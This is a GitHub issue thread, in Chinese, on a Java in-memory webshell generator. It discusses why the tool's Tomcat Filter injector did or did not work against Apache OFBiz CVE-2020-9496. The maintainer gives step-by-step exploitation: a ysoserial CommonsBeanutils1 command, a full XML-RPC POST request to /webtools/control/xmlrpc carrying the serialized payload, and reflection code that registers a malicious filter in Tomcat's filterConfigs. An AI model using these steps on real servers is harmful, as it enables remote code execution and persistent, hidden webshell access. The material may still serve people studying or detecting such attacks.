pen4uin / java-memshell-generator

一款支持自定义的 Java 内存马生成工具|A customizable Java in-memory webshell generation tool.
1.69k stars 187 forks source link

[Info] jMG中的Tomcat-Filter内存马注入器缺少部分代码导致内存马并没有注入 #16

Closed B0T1eR closed 9 months ago

B0T1eR commented 9 months ago

pen4uin 师傅你好我在OFBiz CVE-2020-9496 场景下打入jMG的Tomcat-Filter内存马,发现无法连接 image image image 通过最后的排查发现jMG中的Tomcat-Filter注入器存在问题,缺少部分代码: 1.这行代码没有实例化filter导致最后返回的内容是class对象 image 2.没有将参数filter添加到filterDef对象中,所以Filter内存马其实并没有注入 image

pen4uin commented 9 months ago

对于 TemplatesImpl 的利用,需要继承 AbstractTranslet,你应该是忘记这一步了。


1、测试环境

2、jMG 生成内存马( ☑️ 专项漏洞封装 - JDK_AbstractTranslet)

image

3、yso 封装

yso -g CommonsBeanutils1 -a 'class_file:/tmp/SessionDataUtil.class' | base64
image

4、CVE-2020-9496 利用

POST /webtools/control/xmlrpc HTTP/1.1
Host: 127.0.0.1:8443
Content-Type: application/xml
Content-Length: 2185

<?xml version="1.0"?>
<methodCall>
  <methodName>ProjectDiscovery</methodName>
  <params>
    <param>
      <value>
        <struct>
          <member>
            <name>test</name>
            <value>
              <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload]</serializable>
            </value>
          </member>
        </struct>
      </value>
    </param>
  </params>
</methodCall>

5、连接内存马

image
aoteman86861 commented 8 months ago

博主您好,今天在测试的过程中,看了一下代码,也是发现没有将参数filter添加到filterDef对象

但是并不会对内存马注入结果造成影响。

没有搞清原理,大佬能解答一下吗

pen4uin commented 8 months ago

1、重点代码

...
Constructor[] constructors = Class.forName("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
Object filterConfig = constructors[0].newInstance(context, filterDef);
Map filterConfigs = (Map)getFV(context, "filterConfigs");
filterConfigs.put(filterName, filterConfig);
...

2、 实例化 ApplicationFilterConfig 时,首先会判断filterDef.getFilter() 是否为 null;和你的发现一样,注入器代码中没有将filter添加到filterDef对象中,所以进入 if 分支,调用 this.getFilter()

ApplicationFilterConfig(Context context, FilterDef filterDef) throws ClassCastException, ClassNotFoundException, IllegalAccessException, InstantiationException, ServletException, InvocationTargetException, NamingException, IllegalArgumentException, NoSuchMethodException, SecurityException {
    this.context = context;
    this.filterDef = filterDef;
    if (filterDef.getFilter() == null) {
        this.getFilter();
    } else {
        this.filter = filterDef.getFilter();
        this.getInstanceManager().newInstance(this.filter);
        this.initFilter();
    }

    }

3、在 this.getFilter() 方法中,如果 filter 为 null,则会根据 filterDef 的 filterClass 字段的值自动创建 filter 实例 (关键点)

4、 tomcat 在 ApplicationFilterChain#internalDoFilter 方法中通过链式调用 filter 对 http 请求进行处理

...
Filter filter = filterConfig.getFilter();
...
if (Globals.IS_SECURITY_ENABLED) {
    ...
} else {
    filter.doFilter(request, response, this);
}

使用 filterConfig.getFilter() 获取 filter 实例,由上一步已知 filter 不为 null,所以 filter 的链式调用正常进行,内存马注入结果也没受到影响。


Q: 为什么这么实现,没有在注入器中手动创建 filter 实例添加到 filterDef 中? A: 为了缩小 payload 长度。